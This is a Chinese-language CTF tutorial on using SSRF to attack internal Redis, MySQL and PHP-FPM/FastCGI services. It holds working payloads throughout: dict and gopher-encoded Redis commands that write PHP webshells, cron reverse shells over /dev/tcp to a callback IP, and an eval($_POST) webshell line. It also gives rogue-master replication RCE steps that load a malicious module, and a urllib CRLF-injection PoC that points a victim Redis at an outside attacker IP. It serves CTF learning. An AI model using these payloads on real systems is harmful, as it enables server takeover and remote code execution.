浅析SSRF在CTF中的各种实现方式
2020-12-10 11:00:47 Author: xz.aliyun.com(查看原文) 阅读量:576 收藏

关于ssrf

ssrf在ctf中出现的次数有很多,利用的方式也是多种多样,包括不同的利用手法,绕过,协议的使用。

关于redis

在vps上开启我的redis服务,关于redis存在着一些小的漏洞,例如未授权,有些时候还没有设置auth,在ssrf中redis的利用方式多种多样,包括反弹shell,webshell写入,sshkey上传等等。

利用dict协议

利用dict我们可以写shell。
关于信息的采集:

在redis下我们使用info即可获取redis的相关信息,对于gopher可以加上一个下划线在跟上info,同时我们也可以判断出ssrf的存在。

关于写入shell与定时计划

写入shell很简单,可以在本地试验一下。

flushall
+OK
config set dir /home/wwwroot/default/wordpress
+OK
config set dbfilename shell.php
+OK
set webshell "<?php phpinfo();?>"
+OK
save
+OK

再看一下网站:

成功写入phpinfo。
而这周只是在redis上,在实际的情况中,利用curl会出现一些小的状况。
成功写入,但这始终是本地,实际场景下会有很大的不同,比如说利用curl命令。

[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/flushall
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dir:/home/wwwroot/default/wordpress
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dbfilename:shell.php
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# 
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/set:webshell:"<?php phpinfo() ?>"
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
<script language='php'> @eval($_POST['pass']);</script>

看上去是写进去了,其实并没有,我们利用tcpdump进行查看,发现其实由于?问号的原因,后面的都被参数进行省略了,即使我利用burpsuit也是不可避免的。

上边是传输过程中的流量。
所以在CTF中我们想要顺利的写入一些敏感字符需要一些特定的方法。
vps上搭建环境:
漏洞代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

测试漏洞:

在输入INFO后,获得输出,证明dict协议的可用性。
在这个环境中我还是无法直接写入?,我们可以利用编码,在这里我利用的是\x十六进制编码来完成。

dict://127.0.0.1:6379/set:webshell:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e"

可以看到完全的输出了没有被转义。

访问url

成功写入。

写入反弹shell

利用定时任务写入反弹shell:

set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'

转换一下即:
url=dict://127.0.0.1:6379/set:webshell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
但还要注意这里不能够这么写:\x5c 而应该直接就 \n

不能这么写会产生乱码,而且也无法写入,但是要知道linux中的cron不会报错,只要读到一行正确配置即可执行,这里直接\n

服务器里面看一下:

成功的获取了反弹shell。

端口探测

同样的利用dict协议我们也可以探测端口存活。

gopher

在利用ssrf攻击redis时利用gopher协议我们可以进行主从复制,shell的写入
我们先利用gopher写一些键值对。

127.0.0.1:6379> set key1 value1
OK

这个时候利用tcpdump进行抓取流经6379的流量。
相关命令:`[root@izbp1j0zu9bm2aus0jnbhtz ~]# tcpdump -i lo port 6379 -w 1200.pcap

将红色段抓取下来。

2a 31 0d 0a 24 37 0d 0a  43 4f 4d 4d 41 4e 44 0d 
0a  
2a 33 0d 0a 24 33 0d 0a  73 65 74 0d 0a 24 34 0d 
0a 6b 65 79 31 0d 0a 24  36 0d 0a 76 61 6c 75 65 
31 0d 0a
按照这个每个都加一个%号改为url格式即可。
%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a

这样直接打是不行的,还要进行url双编码,利用curl可以只编一次码,因为他只解码一次。

此时查看服务端:

尝试写个shell:

转换一下:

%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%33%31%0d%0a%2f%68%6f%6d%65%2f%77%77%77%72%6f%6f%74%2f%64%65%66%61%75%6c%74%2f%77%6f%72%64%70%72%65%73%73%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a

curl发送一下:

准备保存到网页上:

web端利用

在web端中进行双编码即可:

redis上看一下:

save也拼接上去,发包。

成功写入:

关于反弹shell

跟利用dict协议一样。

成功反弹:

注意:写在crontab上时候反弹shell是这样的:

set webshell "\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"

而写在/var/spool/cron/下需要我们将root去掉。

CentOS系统:
路径使用:/etc/crontab或者/var/spool/cron/root
ubuntu系统:
路径使用:/etc/crontab或者/var/spool/cron/crontabs/root

有些时候redis是需要认证的,我们可以进行暴力破解,尝试弱密码。

在利用的时候加上auth的流量即可。

MySQL

gopher打mysql

利用ssrf我们不仅能够进攻靶机拿下受害机器获取shell,同样也可以获取一些数据库的信息,有些时候我们可以拿这些数据库获取到的信息去扩大战果。

mysql数据库不存在密码的时候:

无密码认证时直接发送TCP/IP数据包即可访问

环境设置:

SET PASSWORD FOR root@localhost=PASSWORD('');

sudo mysqld_safe --skip-grant-tables &

使用上述两条命令mysql数据库就可以不用密码进行登录。

利用tcpdump来进行流量抓取:

tcpdump -i lo -s 0 port 3306 -w mysql.pcap

注意第一个红框为登录流量。

注意两个点:00 00 00 03以及01 00 00 00 01

然后跟dict协议一样直接打就行了。

ctfhub中的环境这里直接用了。
在这里发现存在ssrf漏洞。

file协议没有办法进行读取 判断gopher能不能打,至于判断方法,我自己是利用sleep函数来进行判断的: ![](https://xzfile.aliyuncs.com/media/upload/picture/20201205125340-d819a030-36b5-1.png) 监听一下,将流量转为url`编码:


休眠十秒,确定存在。

sql语句:

select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php';

用上述方法抓取下来进行url双编码:

访问对应url:可以观察到回显。

有两种工具可以帮助我们快速生成payload

以及
mysql -h 127.0.0.1 -u root -e "select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/test.php';"

fastcgi

cgifastcgi早已成为耳熟能详的一些服务了,具体原理网上有很多可见。

fastcgi:快速通用网关接口

在对fastcgi进行攻击的时候我们还需要了解一下另一个名词:php-fpm

实现原理:

PHP-FPM 负责管理一个进程池来处理来自 Web 服务器的 HTTP 动态请求,在 PHP-FPM 中,master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。这就是 PHP-FPM 的基本工作原理  #知乎上找的

php版本中的应用:从PHP 5.4 RC2开始,php-fpm已经转正了。

利用条件
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径
关于环境搭建

因为我的服务器选择的就是nginxphp,单并没有使用9000端口,查看log日志发现它使用的是sock方法,所以我就没换,使用了CTFHUB的靶机进行操作。

攻击原理

PHP当中我们可以利用php://input进行一些代码执行等等,而在文件上传中我们也经常利用到htacess文件以及usr.ini文件,他们都有两个选项:auto_prepend_fileauto_append_file,将两者结合,我们让文件在加载前预加载php://input就能进行任何的PHP代码执行了,然后利用PHP当中的各种内置函数来进行命令执行就能够getshell

具体步骤

在我们使用一系列的方式进行信息搜集后发现目标机器使用了Fastcgi并且确认其网站上存在ssrf漏洞。

因为看他的原理就可以发现这个实现是有点复杂的,所以我们可以直接利用网上的exp进行攻击。

第一种方法利用GOPHER生成payload直接打:

可以看到打成功了。

写个定时任务就能一直弹shell了。

我们观察一下Gophers给我们的poc

第二种也可以利用别人的expgithub上面有很多,我这里直接用p神的。

本地开个端口监听:

把流量抓下来:

进行转换发包:

成功执行我的php所以可以看见这其实是一个很麻烦的地方,能用gophers就尽量用吧。

主从复制

关于主从复制:

如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。
另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。

适应场景:

当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器。

利用主从服务器来写shell:

环境搭建:

在这里因为我本机装redis两个实例没搞出来,因为装的时候就不太一样,所以我直接拉了一个docker,并且做了个端口映射。


其实觉得部分的命令都已经在dict协议的时候写过了,多了这么一点。

在本机上先试一下主从复制,然后放到公网上搞。

docker exec -it redis-test /bin/bash进入docker容器里,连上redis

master

slave:

利用这个我们可以编写webshell

在实战中:假设6390端口的redis是我们可控的redis服务器,而6389正是我们需要进行攻击的。

我们只需要进行主从绑定操作即可,获取到流量:


将其编码利用gophers进行发送。

同时我们还需要

此时我们查看一下从机。

发现已经是写进行了主从复制。

这里编码的是这些数据包:

在主机上:

发送save包:

访问phpinfo.php:

完成了主从复制的写shell

而有些时候需要进行auth的授权,在那里可以尝试根据他的返回流量进行爆破。

当然网上还有一键就能写shell的,利用python脚本模拟redis主从之间的交互过程:

主从复制RCE

在上面我们已经通过主从复制完成了WebShell的写入,其实还可以更进一步直接RCE,在redis4.x以及5.x版本当中是存在RCE的可能性的。

相关命令:

设置redis的备份路径:config set dir ./
设置备份文件名为exp.so,默认为dump.rdb:config set dbfilename exp.so
设置主服务器IP和端口:slaveof 192.168.172.129 1234  
加载恶意模块:module load ./exp.so
切断主从,关闭复制功能:slaveof no one 
执行系统命令:system.exec 'whoami';system.rev 127.0.0.1 9999    
通过dump.rdb文件恢复数据:config set dbfilename dump.rdb
删除exp.so:system.exec 'rm ./exp.so'
卸载system模块的加载:module unload system
生成exp.so

网上有很多exppoc,这里拿的是

https://github.com/n0b0dyCN/redis-rogue-server

r3kapig写的。

在实际当中很少有这样的情况,如果我们完成一次这样的渗透需要满足两个条件:

protected-modeno, bind 由127.0.0.1 改为0.0.0.0。 ps:bind改动后服务器上任意网卡地址可访问

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

现在我自己的机器上试验一下:

[>] PING - test if a connection is still alive
[<] +PONG
[>] REPLCONF - exchange replication information between master and slave
[<] +OK
[>] PSYNC/SYNC - synchronize slave state with the master
[<] +FULLRESYNC

把打的流量截取下来:(这里就是加载exp的过程)

不用脚本打的话无非就是把exp的位置放对了就可以。

PYTHON之URLLIB头注入ssrf&&祥云杯doyouknowssrf

在上周的祥云杯比赛中就碰到了这类的ssrf

pythonurllib当中存在着此类漏洞,漏洞对那个存在的相应版本为2.7.10之前以及 3.4.4之前。

而在2019年又爆出了CVE-2019-9740,它的对应版本也是在3.7.x以及2.7.16以及CVE-2019-9947

前者的利用方法为:注入点在IP地址和端口号的分隔符即:前面

examplehttp://192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a

后者为:注入点在端口号后面

example:http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n

题目源码如下
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

根据两者解析的差异性直接就这么写就能打到内网:

url=http://[email protected]:6379%[email protected]/

因为协议的限制,我们无法使用dict等协议,只能使用http那么我们可以使用CRLF进行内网的探测。

其实随着更进一步可以观察到这个不只有6379端口是能被利用的,5000端口也存在着漏洞,根据返回的响应头以及hint可以大致推断出这里才是crlf利用点:

?url=http://[email protected]:5000%[email protected]/%3Furl=https://baidu.com

接下来就是利用Python-urllib/3.7crlf漏洞进行攻击

构造poc:

url=http://[email protected]:5000 @www.sina.com/?url=http://127.0.0.1:6379/%20HTTP/1.1%0D%0Aauth%20123456%0D%0Aconfig%20set%20dir%20/var/www/html%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aslaveof%20116.62.207.70%2021000%0D%0Afoo%3A%20

设置的redis命令就是:

auth 123456 #爆破出来的弱密码
config set dir /var/www/html
config set dbfilename shell.php
slaveof 116.62.207.70 21000   #21000是我们redis-rogue,用的是主从复制写shell
foo:

没有利用exp.so直接getshell的原因是它存在的限制太多了,组内的师傅试了一下没有流量返回回来就用了写shell的方式。

shell打出去了,直接蚁剑连一下就行。


文章来源: http://xz.aliyun.com/t/8613
如有侵权请联系:admin#unsafe.sh